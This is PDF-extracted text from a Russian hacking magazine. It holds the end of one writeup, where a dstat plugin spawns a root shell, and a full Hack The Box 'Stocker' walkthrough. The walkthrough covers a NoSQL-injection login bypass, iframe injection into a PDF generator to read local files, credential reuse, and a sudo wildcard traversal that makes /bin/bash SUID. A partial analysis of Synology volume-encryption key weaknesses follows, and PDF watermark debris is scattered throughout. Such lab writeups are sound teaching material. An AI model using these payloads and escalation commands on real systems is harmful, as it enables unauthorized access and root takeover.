Пооче­ ­ред­но проверя­ ­ем эти каталоги­ и находим, что у группы­ player, где мы и состоим­ , есть прав­ о записи в один из них:

/usr/local/share/dstat

Содер­ ­жимое каталога­ /usr/local/share/

В найден­ ­ном каталоге­ создадим­ плагин­ dstat_ralf.py, который просто­ запусти­ т командну­ ю оболоч­ ­ку /bin/bash.

import os

os.system('/bin/bash')

Теперь­ просмотрим­ список­ плагинов­ и найдем­ свой.

dstat --list

Список­ плагинов­ dstat

А теперь запускаем­ свой плагин­ от имени­ пользовате­ ­ля root, что дает нам привиле­ ­гиро­ван­ную командну­ ю оболоч­ ­ку.

doas -u root /usr/bin/dstat --ralf

Флаг рута

Мы получили­ флаг рута, а значит­ , машина захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

c

 

o m

ВЗЛОМ

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИСПОЛЬЗУЕМ ГЕНЕРАТОР PDF ДЛЯ ПРОИЗВОЛЬНОГО ЧТЕНИЯ ФАЙЛОВ

В этом райтапе­

я покажу типичный­

сце ­

нарий захвата­

веб сервера­

. Сначала­

про ­

ведем

базовое

сканиро­

вание­

 

сайта­

на предмет­

скрытых­ каталогов­ , затем про ­

ведем NoSQL-инъекцию­

, чтобы­

обойти­

авториза­

цию­ , и HTML-инъекцию­

, чтобы­

прочитать­

 

произволь­

ные­

 

файлы­ .

При повышении­

привиле­

гий­

используем­

обход каталогов­

Bash для

чтения­

поль ­

зовательско­ го­ скрипта­ .

 

 

 

 

 

 

 

 

RalfHacker hackerralf8@gmail.com

Захватывать­ будем трениро­ воч­ ну­ ю машину Stocker с площад­ ки­ Hack The Box. Уровень­ ее сложности­ — легкий­ .

Подклю­ чать­ ся­ к машинам с HTB рекомендует­ ся­ только­ через VPN. Не делай этого­ с компьюте­ ров­ , где есть важные­ для тебя данные­ , так как ты ока ­ жешься­ в общей сети с другими­ участни­ ками­ .

РАЗВЕДКА Сканирование портов

Добав­ ­ляем IP-адрес машины в /etc/hosts:

10.10.11.196 stocker.htb

И запускаем­ сканиро­ вание­ портов­ .

Сканиро­ ­вание портов­ — стандар­ ­тный первый­ шаг при любой атаке­ . Он поз ­ воляе­ т атакующе­ ­му узнать, какие службы­ на хосте­ принима­ ­ют соединение­ . На основе­ этой информации­ выбирается­ следующий­ шаг к получению­ точки­ входа­ .

Наибо­ ­лее известный­ инстру­ ­мент для сканиро­ ­вания — это Nmap. Улучшить­ результаты­ его работы ты можешь при помощи следующе­ ­го скрипта­ :

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |

tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он действу­ е­ т в два этапа­ . На первом­ произво­ дит­ ся­ обычное­ быстрое­ ска ­ нирование­ , на втором­ — более тщатель­ ное­ сканиро­ вание­ , с использовани­ ем­ имеющих­ ся­ скриптов­ (опция -A).

Резуль­ та­ т работы скрипта­

Сканер­ нашел всег­ о два открытых­ порта­ : 22 — служба­ OpenSSH 8.2p1 и 80 — веб сервер­ Nginx 1.18.0. С SSH сейчас­ ничего сделать­ не можем, поэтому­ проходим­ к веб серверу­ .

Главная­ страница­ сайта­ stocker.htb

ТОЧКА ВХОДА

На сайте­ ничего интерес­ ного­ найти­ не удалось­ , поэтому­ приступим­ к поиску­ скрытых­ файлов­ и каталогов­ , на которые не ведут ссылки­ . Я для этого­ исполь ­

зую feroxbuster.

Одн­ о из первых­ действий­ при тестирова­ нии­ безопасности­ веб приложе­ ­ ния — это сканиро­ вание­ методом перебора­ каталогов­ , чтобы­ найти­ скрытую­ информаци­ ю и недоступные­ обычным­ посетителям­ функции­ . Для этого­ можно­ использовать­ программы­ вроде­ dirsearch, DIRB или fuf. Я предпочитаю­ feroxbuster.

При запуске­ указыва­ ем­ следующие­ параметры­ :

-u — URL;

-w — словарь­ (я использую­ словари­ из набора SecLists);

-t — количеств­ о потоков;

-d — глубина­ сканиро­ вания­ .

Набира­ ем­ такую команду­ :

feroxbuster -u http://stocker.htb/ -w directory_2.3_medium_lowercase.

txt -d 2 -t 256

Резуль­ ­тат сканиро­ ­вания каталогов­ с помощью feroxbuster

Ничег­ о найти­ не удалось­ , поэтому­ сканиру­ ем­ поддомены­ . Их я исследую­

с помощью ffuf, перебирая­ заголовок­ Host (остальные­ ключи­ те же, что у ferox).

ffuf -u http://stocker.htb/ -w subdomains-top1million-110000.txt -t

256 -H 'Host: FUZZ.stocker.htb'

Резуль­ та­ т сканиро­ вания­ поддоменов­

В выводе получаем­ все слова­ из списка­ , поэтому­ стои­ т использовать­ фильтр­ (параметр -fs), отсекающий­ ненужные­ ответы­ по размеру­ страницы­ .

ffuf -u http://stocker.htb/ -w subdomains-top1million-110000.txt -t

256 -H 'Host: FUZZ.stocker.htb' -fs 178

Резуль­ та­ т сканиро­ вания­ поддоменов­

И находим всег­ о один новый поддомен­ — dev. Добавляем­ его в файл /etc/ hosts.

10.10.11.196 stocker.htb dev.stocker.htb

Страница­ авториза­ ции­ dev.stocker.htb

ТОЧКА ОПОРЫ

Возможнос­ ­ти авторизо­ ­вать­ся на сайте­ нет, поэтому­ будем искать обходные пути.

Запрос­ на авториза­ цию­

Я сразу­ протес­ тирова­ л разные­ варианты­ обхода­ авториза­ ции­ для разных­ тех ­ нологий и уязвимос­ тей­ с помощью Burp Intruder. Ничего найти­ не удалось­ , поэтому­ я перешел к тем вариантам­ , которые в брутфорсер­ не заложены­ . Так доходим до одной из JSON-нагрузок­ для эксплу­ ата­ ции­ NoSQL-инъекции­ .

{

"username": {

"$ne": null

},

"password": {

"$ne": null

}

}

Запрос­ на авториза­ цию­

И нам становит­ ся­ доступен­ какой то онлайновый­ магазин.

Главная­ страница­ сайта­

Перей­ дем­ к списку­ товаров и добавим любой из них в корзину­ . Затем перехо ­ дим к корзине­ и просматри­ ваем­ ее содержимое­ .

Товары­ на сайте­

Корзина­ онлайн магазина­

Пробуем­ подтвер­ дить­ покупку­ , после­ чего нам дают ссылку­ на чек.

Подтвержде­ ние­ покупки­

При переходе­ по ссылке­ получаем­ отдельный­ PDF-документ с информацией­ о товаре.

Чек с информацией­ о покупке­

Мы прошли­ полный­ путь от авториза­ ­ции до получения­ чека, теперь перейдем­

к истории­ запросов­ в Burp History и подробнее­ посмотрим­ , что при этом происхо­ ­дило.

Произвольное чтение файлов

В запросе­ на генерирова­ ­ние файла­ видим отправляемые­ параметры­ .

Запрос­ на /api/order в Burp History

Можн­ о было бы вместо­ пути к картинке­ в параметре­ image отправить­ путь к произволь­ ному­ файлу­ , но картинка­ в отчете­ не отобража­ ется­ . Единствен­ ный­ параметр, который находит отражение­ в отчете­ , — это поле title, наиме ­ нование­ товара. Генераторы­ PDF часто­ позволя­ ю­ т проводить­ инъекцию­ тега iframe, в котором мы можем отобразить­ локальный­ файл. Для примера­ поп ­ робуем­ вставить­ в PDF файл /etc/passwd.

<iframe src=file:///etc/passwd height=800px width=800px></iframe>

Запрос­ на генерирова­ ние­ отчета­

В ответе­ видим идентифика­ тор­ отчета­ , который вставляем­ в ссылку­ такого вида:

http://dev.stocker.htb/api/po/63fb37ad3724ba9a5070fffa

Новый­ отчет с включен­ ным­ фреймом­

И вместо­ наименова­ ния­ товара получаем­ вставленный­ фрейм с запрошен­ ­ ным файлом­ . В etc/passwd видим активног­ о пользовате­ ля­ angoose с дей ­ ствующей­ командной­ оболоч­ кой­ /bin/bash. Так как мы можем читать файлы­ , посмотрим­ исходные коды сайта­ .

По названи­ ю поддомена­ dev предполага­ ем­ , что сайт расположен­ в соот ­ ветству­ ющем­ каталоге­ /var/www/dev/. По названи­ ю параметра­ куки connect.sid можн­ о предположить­ , что использует­ ся­ Node.js, поэтому­ будем запрашивать­ файл /var/www/dev/index.js.

<iframe src=file:///var/www/dev/index.js height=800px width=800px></

iframe>

Новый­ отчет с включен­ ным­ фреймом­

В исходном коде index.js отмечаем­ использование­ СУБД MongoDB, а также­ учетные­ данные­ для подклю­ ­чения к базе.

mongodb://dev:IHeardPassphrasesArePrettySecure@localhost/dev?

authSource=admin&w=1

Пробуем­ применить­ найден­ ный­ пароль для авториза­ ции­ по SSH от имени­ пользовате­ ля­ angoose и получаем­ сесси­ ю на машине.

Флаг пользовате­ ля­

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Теперь­ нам необходимо­ собрать­ информацию­ . Я для этого­ обычно­ исполь ­ зую скрипты­ PEASS.

Что делать после­ того, как мы получили­ доступ­ в систему­ от имени­ поль ­ зователя­ ? Вариантов­ дальнейшей­ эксплу­ ата­ ции­ и повышения­ привиле­ гий­ может быть очень много­ , как в Linux, так и в Windows. Чтобы­ собрать­ информаци­ ю и наметить цели, можно­ использовать­ Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов­ , которые проверя­ ю­ т сис ­

тему на автомате­ и выдают­ подробный­ отчет о потенциаль­ но­ интерес­ ных­ файлах­ , процес­ сах­ и настрой­ ках­ .

Загрузим­ на хост скрипт для Linux, дадим право­ на выполнение­ и запустим­ сканиро­ вание­ . В выводе будет много­ информации­ , но ничего важного­ найти­ не удалось­ , кроме­ сообщения­ о запросе­ пароля для просмотра­ настро­ ек­ sudoers.

Ошибка­ при запросе­ настро­ ек­ sudoers

Файл /etc/sudoers в Linux содержи­ т списки­ команд, которые разные­ группы­ пользовате­ лей­ могут выполнять­ от имени­ админис­ тра­ тора­ системы­ . Можно­ просмотреть­ его как напрямую­ , так и при помощи команды­ sudo -l.

Выпол­ ним­ команду­ sudo -l и введем­ известный­ пароль.

Настрой­ ки­ sudoers

Мы можем выполнить­ от имени­ пользовате­ ля­ root такую команду­ :

/usr/bin/node /usr/local/scripts/*.js

В данном­ случае­ выполнить­ произволь­ ный­ код Node.js очень легко­ , так как в значении­ символа­ «звездочка­ » можно­ передавать­ и последова­ тель­ ность­

../../../ для обхода­ каталога­ . Используем­ это, чтобы­ создать­ файл rshell.js, который присвои­ т бит SUID файлу­ командной­ оболоч­ ки­ /bin/ bash.

require('child_process').exec('chmod u+s /bin/bash')

Теперь­ выполним­ скрипт следующей­ командой­ , после­ чего проверим­ права­ файла­ /bin/bash:

sudo /usr/bin/node /usr/local/scripts/../../../../home/angoose/

rshell.js

Резуль­ та­ т выполнения­ команды­

Когда­ у файла­ установ­ лен­ атрибу­ т setuid (S-атрибут­ ), обычный­ пользователь­ , запускающий­ этот файл, получае­ т повышение­ прав до пользовате­ ля­ — вла ­ дельца­ файла­ в рамках­ запущенного­ процес­ са­ . После­ получения­ повышенных­ прав приложе­ ние­ может выполнять­ задачи, которые недоступны­ обычному­ пользовате­ лю­ . Из за возможнос­ ти­ состояния­ гонки­ многие­ операци­ онные­ системы­ игнориру­ ют­ S-атрибут­ , установ­ ленный­ shell-скриптам­ .

Флаг рута

Флаг рута у нас, а значит­ , машина захвачена­ !

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ПРИВАТНОСТЬ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

w

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

p

 

 

g

 

 

 

 

df

 

 

n

e

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ИЗУЧАЕМ НОВЫЙ МЕХАНИЗМ ШИФРОВАНИЯ SYNOLOGY

В новой версии­ операци­ ­онной системы­ DSM 7.2 для сетевых хранилищ­ Synology появилась­ долгождан­ ­ная возможность­ шифрования­ томов. Насколь­ ­ко она удобна­ , надежна­ и отвечает­ требова­ ­ниям безопас ­ ности? Давай разбирать­ ­ся!

Олег Афонин

Эксперт по мобильной криминалистике компании «Элкомсофт» aoleg@voicecallcentral.com

В недавн­ о вышедшем­ обновлении­ DSM 7.2 разработ­ ­чики Synology добавили­ зашифрован­ ­ные тома в дополнение­ к существу­ ­юще­му методу шифрования­ сетевых папок. Новый для Synology способ­ шифрования­ более универ­ ­сален и работае­ т быстрее­ использовав­ ­шегося ранее, но не обошлось­ и без ложки­ дегтя­ , которая делае­ т такой способ­ защиты данных­ практичес­ ­ки бесполез­ ­ ным.

Несколь­ к­ о лет назад я писал об особен­ ностях­ защиты данных­ в сетевых хранили­ щах­ разных­ произво­ дите­ лей­ . В NAS от Synology применя­ лось­ шиф ­ рование сетевых папок с использовани­ ем­ стандар­ тной­ для Linux криптогра­ ­ фической­ файловой­ системы­ eCryptFS. Кроме­ того, что с таким подходом­ связан­ о множес­ тв­ о ограниче­ ний­ и неудобств, управление­ ключами­ шиф ­ рования было реализова­ но­ прямоли­ ней­ но­ и небезопас­ но­ . Если пользователь­ включа­ л автомати­ чес­ кое­ монтирова­ ние­ сетевых папок, то ключи­ шифрования­ , сохранен­ ные­ на самом устройстве­ либо на внешнем­ USB-накопителе­ , защищались­ фиксирован­ ным­ известным­ паролем, что делало защиту неэф ­ фективной­ .

В новой версии­ операци­ ­онной системы­ Synology DSM 7.2 появилось­ дол ­ гожданное­ шифрование­ на уровне­ тома. По утвержде­ ­ниям разработ­ ­чиков, новый способ­ защиты данных­ работае­ т быстрее­ механизма­ шифрования­ сетевых папок и при этом избавил­ ­ся от присущих­ пофайловому­ шифрованию­ ограниче­ ­ний. В то же время­ механизм управления­ ключами­ снова­ реализован­ так, что на большинс­ ­тве устройств­ реальная­ защищенность­ данных­ оказыва­ ­ ется далека от желаемой­ .

Пока­ мы готовили­ статью к публикации­ , произо­ ­шел ряд интерес­ ­ных вещей.

В течение восьми­ часов после­ выхода DSM 7.2 защиту, обеспечива­ ­емую шифровани­ ­ем тома с обязатель­ ­ным хранени­ ­ем ключей­ на том же диске­ , уда ­ лось обойти­ . Для этого­ достаточ­ ­но смонтировать­ в Linux системный­ раздел­ DSM (он хранит­ ­ся в незашифрован­ ­ном и неподписан­ ­ном виде в зеркаль­ ­ном RAID на всех установ­ ­ленных в NAS дисках­ ) и отредак­ ­тировать несколь­ ­ко тек ­ стовых­ файлов­ . Подробнос­ ­ти — в треде­ на Reddit.

В скобках­ заметим, что и внешний­ KMIP-сервер­ от этой атаки­ не спасет­ , если в процес­ се­ загрузки­ NAS этот сервер­ окажет­ ся­ доступен­ , а автомати­ ­ ческое­ монтирова­ ние­ тома — включено­ .

Между­ написанием­ и публикаци­ ей­ этой статьи разработ­ чики­ Synology успели­ выпустить­ два обновления­ DSM 7.2, в последнем­ из которых проблема­

со сторон­ ­ними KMIP-серверами­ была исправлена­ . Подробно­ о работе KMIP в Synology расска­ ­зано в публикации­ на Reddit, а скачать­ работоспособ­ ­ный опенсор­ ­сный KMIP-сервер­ можно­ из репози­ ­тория на GitHub.

ШИФРОВАНИЕ В SYNOLOGY: КАК БЫЛО

Если­ ты хочешь в деталях ознакомить­ ­ся с методом шифрования­ сетевых папок, механизмом­ управления­ ключами­ в Synology DSM и узнать о выяв ­ ленной в нем уязвимос­ ­ти, порекомен­ ­дую статью «Дырявые­ диски­ . Эксплу­ ­ати ­ руем уязвимос­ ­ти в сетевых хранили­ ­щах Synology». Добавлю­ только­ , что с тех пор никаких изменений­ в механизме­ хранения­ ключей­ не произош­ ­ло и поль ­ зователи­ , которые включили­ автомати­ ­чес­кую разбло­ ­киров­ку сетевых папок, до сих пор подверга­ ­ют зашифрован­ ­ные данные­ риску­ . Здесь же я хочу кратко­ описать­ основные достоинс­ ­тва и недостатки­ eCryptFS — криптогра­ ­фичес­кой файловой­ системы­ , которую выбрали­ разработ­ ­чики Synology DSM для защиты сетевых папок.

Вот список­ достоинств­ шифрования­ на уровне­ сетевых папок:

1.Посколь­ ­ку шифруют­ ­ся отдельные­ сетевые папки­ , не имее­ т значения­ , на каком из внутренних­ физических­ или логических­ накопителей­ они рас ­ положены­ (а вот зашифровать­ таким образом­ USB-накопитель­ поль ­ зователю­ не удастся­ ).

2.Каждая­ сетевая папка­ может быть зашифрована­ уникаль­ ­ным паролем. Если пользовате­ ­лей несколь­ ­ко, каждый­ может использовать­ собствен­ ­ный пароль.

3.Содержимое­ зашифрован­ ­ной папки­ можно­ просто­ скопиро­ ­вать на другой­ накопитель­ , и данные­ останут­ ­ся зашифрован­ ­ными. Необходимос­ ­ти вво ­ дить (или даже знать) пароль шифрования­ нет, так что резервное­ копиро ­ вание как на локальные­ , так и на удален­ ­ные системы­ можно­ проводить­ без монтирова­ ­ния (и расшифров­ ­ки) сетевых папок.

4.eCryptFS защищае­ т как данные­ , так и имена­ файлов­ и папок (последнее­ — небесплат­ ­но).

Несмотря­ на все достоинс­ тва­ , у шифрования­ сетевых папок есть ряд сущес ­ твенных­ недостатков­ :

1.Ограниче­ ­ние на длину­ имен файлов­ . В имени­ файла­ в зашифрован­ ­ной папке­ не может быть больше­ 143 символов­ ANSI или 47 символов­ иерог ­ лифической­ записи. Это прямое­ следствие­ шифрования­ имен файлов­

ипапок.

2.Несмотря­ на то что имена­ файлов­ и папок шифруют­ ­ся, общая структура­ данных­ остается­ доступной­ внешнему­ наблюдате­ ­лю, включая­ размеры­

иатрибуты­ отдельных­ файлов­ и папок.

3.Заметн­ о страдае­ т скорость­ доступа­ к данным­ , особен­ ­но если речь идет о множес­ ­тве мелких­ файлов­ .

4.Разработ­ ­чики Synology не предус­ ­мотре­ли разделения­ ключей­ шиф ­ рования на первичные­ и вторич­ ­ные. Для шифрования­ данных­ использует­ ­ ся ключ, получаемый­ напряму­ ю из пароля, который вводи­ т пользователь­ . Как следствие­ — невозможно­ отозвать­ скомпро­ ­мети­рован­ный пароль или изменить­ пароль шифрования­ (расшифров­ ­ку всего­ массива­ данных­ с его последу­ ­ющим шифровани­ ­ем другим­ паролем мы не рассмат­ ­рива­ем, как максималь­ ­но неэффектив­ ­ный способ­ потратить­ время­ ).

5.Наконец, механизм управления­ ключами­ шифрования­ Synology, хоть и не является­ частью eCryptFS, позволя­ ­ет расшифро­ ­вать содержимое­ устрой ­ ства, если пользователь­ включи­ т функци­ ю автомати­ ­чес­кого монтирова­ ­ния зашифрован­ ­ных папок.

Обрати­ присталь­ ное­ внимание­ на пункт 5: данные­ зашифрован­ ных­ сетевых папок уязвимы­ , если пользователь­ активиру­ е­ т необязатель­ ную­ функцию­ авто ­ матичес­ ког­ о монтирова­ ния­ . Если же он не стане­ т этого­ делать, а то и вовсе­ решит не сохранять­ пароль шифрования­ ни на самом устройстве­ , ни на внеш ­ нем USB-накопителе­ , то для расшифров­ ки­ защищенных­ сетевых папок пот ­ ребуется­ атака­ перебором­ паролей, что совершенно­ не гарантиру­ е­ т резуль ­ тата, если был выбран­ длинный­ и сложный­ пароль. Это очень важный­ момент: механизм управления­ ключами­ в новом способе­ шифрования­ Synology пре ­ терпе­ л кардиналь­ ные­ изменения­ , но, увы, не в пользу­ усиления­ безопас ­ ности.

ШИФРОВАНИЕ ДИСКОВ: НОВОЕ В DSM 7.2

В недавн­ о вышедшей­ версии­ DSM 7.2 появилась­ возможность­ шифрования­

тома — volume encryption. Использует­ ся­ стандар­ тный­ механизм LUKS

в режиме aes-xts-plain64.

Включить­ шифрование­ можно­ только­ на вновь создава­ ­емых томах. Зашиф ­ ровать данные­ на уже имеющем­ ­ся томе нельзя­ .

При включении­ шифрования­ тома система­ предложи­ т пользовате­ ­лю сох ­ ранить резервный­ ключ, с помощью которого­ том можно­ будет расшифро­ ­ вать, если что то случит­ ­ся с основной системой­ . Забегая вперед­ , скажу­ , что ранее выданные­ резервные­ ключи­ можно­ отозвать­ , сгенери­ ­ровав новый ключ (в этом случае­ ранее выданный­ ключ перестане­ т работать).

Важный­ момент: по умолчани­ ю ключ к зашифрован­ ному­ тому сохраня­ ется­ на том же устройстве­ , на котором создает­ ся­ сам зашифрован­ ный­ том.

Это позволя­ ­ет системе­ автомати­ ­чес­ки монтировать­ зашифрован­ ­ные тома при загрузке­ NAS. Не сохранять­ ключ, равно­ как и отказать­ ­ся от автомати­ ­чес ­ кого монтирова­ ­ния тома при загрузке­ , нельзя­ : единствен­ ­ная альтер­ ­натива — использовать­ внешний­ KMIP-сервер­ , в роли которого­ на данный­ момент может выступать­ только­ другой­ NAS от Synology (как это работает­ , можно­ узнать в докумен­ ­тации произво­ ­дите­ля).

Запишем­ в блокнотик­ : в бета версиях­ DSM 7.2 была возможность­ исполь ­ зовать KMIP-серверы­ сторон­ ней­ разработ­ ки­ (кстати­ , сами разработ­ чики­ Synology как раз и использу­ ют один из вариантов­ с открытым­ исходным кодом). В релизе DSM 7.2 эту возможность­ убрали­ , на мой взгляд — совер ­ шенно напрасн­ о с точки­ зрения­ безопасности­ данных­ , но очень правиль­ но­ с точки­ зрения­ маркетин­ га­ (возможность­ продать­ дополнитель­ ное­ устройство­

Synology из свежей­ линейки­ — тольк­ о такие поддержи­ ва­ ют нужные­ для орга ­ низации­ KMIP-сервера­ функции­ ).

Таким­ образом­ , получаем­ два возможных­ варианта­ хранения­ ключей­ —

иоба небезопас­ ­ны:

1.Ключ к зашифрован­ ­ному тому хранит­ ­ся на локальном­ устройстве­ . В этом

случае­

мы

имеем­

дело

 

с

классичес­

ким­

security through

obscurity:

в документации­

Synology нет информации­

о том, где именно­ хранит­ ся­

ключ шифрования­

, и это — единствен­

ное­ , что может не остановить­

,

но замедлить­

злоумыш­

ленни­

ка­ , получившего­

физический­ доступ­ к устрой ­

ству.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

2. Ключ хранит­ ся­ на другом­

устройстве­

Synology: в этом случае­

злоумыш­

­

леннику­ придет­ ся­ получить физический­

 

доступ­ уже к двум устройствам­

и повозиться­ с расшифров­

кой­

ключа­

шифрования­

, который хранит­ ся­

на втором­

девайсе­ . И если второе­

устройство­

Synology, выполняющее­

роль KMIP-сервера­

, находится­

 

в той

же

 

или

соседней­

 

комнате­

, что

и устройс­ тво с зашифрован­

ным­

томом, то полагаться­ на него для защиты

пляжных­ фото в купальнике­

, наверное­ , можно­ , а вот без такового­ , пожалуй,

не стоит­ . И хотя безопасность­

KMIP — тема отдельная­

и довольно­

обширная, физическая­ недоступность­

KMIP-сервера­

для злоумыш­

ленни­

­

ка — один из ключевых­

моментов­ в обеспечении­

безопасного­

хранения­

ключей­ . В скобках­ отметим­ : KMIP-сервер­

может хранить­

ключи­

как на

обычных­ , так и на зашифрован­

ных­ томах.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

СОВМЕСТНОЕ ИСПОЛЬЗОВАНИЕ ШИФРОВАНИЯ ТОМА И СЕТЕВЫХ ПАПОК

Мне было интерес­ н­ о узнать, получится­ ли создать­ зашифрован­ ную­ сетевую папку­ на зашифрован­ ном­ томе. Оказалось­ , что никаких препятс­ твий­ к этому­ нет: шифрование­ тома полность­ ю прозрачно­ ; на зашифрован­ ных­ томах мож но создавать­ и использовать­ как зашифрован­ ные­ , так и незашифрован­ ные­ сетевые папки­ . Можно­ как реплициро­ вать­ на зашифрован­ ные­ тома снимки­ (снапшоты­ ) зашифрован­ ных­ на другом­ NAS сетевых папок, так и проделы­ вать­

то же самое в обратную сторону­ . Короче говоря, шифрование­ тома целиком и полность­ ю прозрачно­ .

Таким­ образом­ , в DSM 7.2 доступны­ следующие­ варианты­ защиты данных­ :

1.Тольк­ о шифрование­ тома.

2.Тольк­ о шифрование­ сетевых папок.

3.Зашифрован­ ные­ сетевые папки­ на зашифрован­ ном­ томе.

Разуме­ ­ется, при использовании­ в качестве­ второго­ слоя защиты шифрования­ сетевых папок мы получим все те ограниче­ ­ния, которые были описаны­ в начале статьи. Кроме­ того, вероятно­ , общая скорость­ доступа­ к дважды­

зашифрован­ ­ным данным­ еще немного­ упаде­ т (замеры произво­ ­дитель­нос­ти каждог­ о варианта­ шифрования­ — тема для отдельной­ статьи).

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ПРИВАТНОСТЬ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

p

df

 

 

 

e

 

 

 

 

 

g

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ИЗУЧАЕМ НОВЫЙ МЕХАНИЗМ ШИФРОВАНИЯ

SYNOLOGY

ШИФРОВАНИЕ ТОМА: КАК ЭТО ВЫГЛЯДИТ

Пройдем­ ­ся по процес­ ­су создания­ зашифрован­ ­ного тома и соответс­ ­тву­ющим настрой­ ­кам.

Первые­ шаги при создании­ зашифрован­ ­ного тома не отличают­ ­ся от при ­ вычных­ для Synology DSM. Настрой­ ­ки шифрования­ появляют­ ­ся на втором­ шаге.

При включении­ шифрования­ тебе нужно­ выбрать­ пароль хранили­ ща­ (vault password), который по умолчани­ ю будет сохранен­ на локальном­ устройстве­ .

На следующем­ шаге система­ предложи­ т сохранить­ ключ восста­ нов­ ления­

(recovery key).

Наконец­ , система­ предуп­ реди­ т о последс­ тви­ ях­ , которые наступят­ , если ты потеряешь­ и ключ восста­ нов­ ления­ , и доступ­ к хранили­ щу­ .

Обрати­ внимание­ : чтобы­ использовать­ шифрование­ тома, тебе придет­ ся­ включить­ хранили­ ще­ ключей­ шифрования­ (тот пароль, который ты вводил­ на первом­ шаге, использует­ ся­ для защиты хранили­ ща­ ключей­ ).

Если­ ты забудешь пароль к хранили­ щу­ — ничего страшного­ , его можно­ сбро ­ сить в любой момент. Знать оригиналь­ ный­ пароль не нужно­ ; все, что тебе потребу­ ется­ , — указать­ пароль пользовате­ ля­ DSM с админис­ тра­ тор­ ским­ дос ­ тупом.

Отклю­ чить­ хранили­ ще­ ты не сможешь­ .

По крайней­ мере до тех пор, пока не настро­ ишь­ удален­ ное­ хранение­ ключей­ на KMIP-сервере­ .

В роли KMIP-сервера­ может выступать­ только­ другой­ NAS от Synology, при ­ чем тольк­ о такой, который поддержи­ вае­ т шифрование­ тома (а это — модели от 2020-го модельног­ о года). Хранили­ ще­ ключей­ шифрования­ можно­ создать­ как на обычном­ , так и на зашифрован­ ном­ томе.

Если­ ты утратишь­ доступ­ к хранили­ щу­ , можно­ расшифро­ вать­ том при помощи ранее созданно­ г­ о ключа­ восста­ нов­ ления­ доступа­ . Если ключ восста­ нов­ ления­ доступа­ будет утрачен­ или скомпро­ мети­ рован­ , ты сможешь­ сгенери­ ровать­ новый (ранее созданный­ ключ при этом будет отозван­ ).

Кстати­ , каждое­ устройство­ Synology (из тех, что поддержи­ ­вают шифрование­

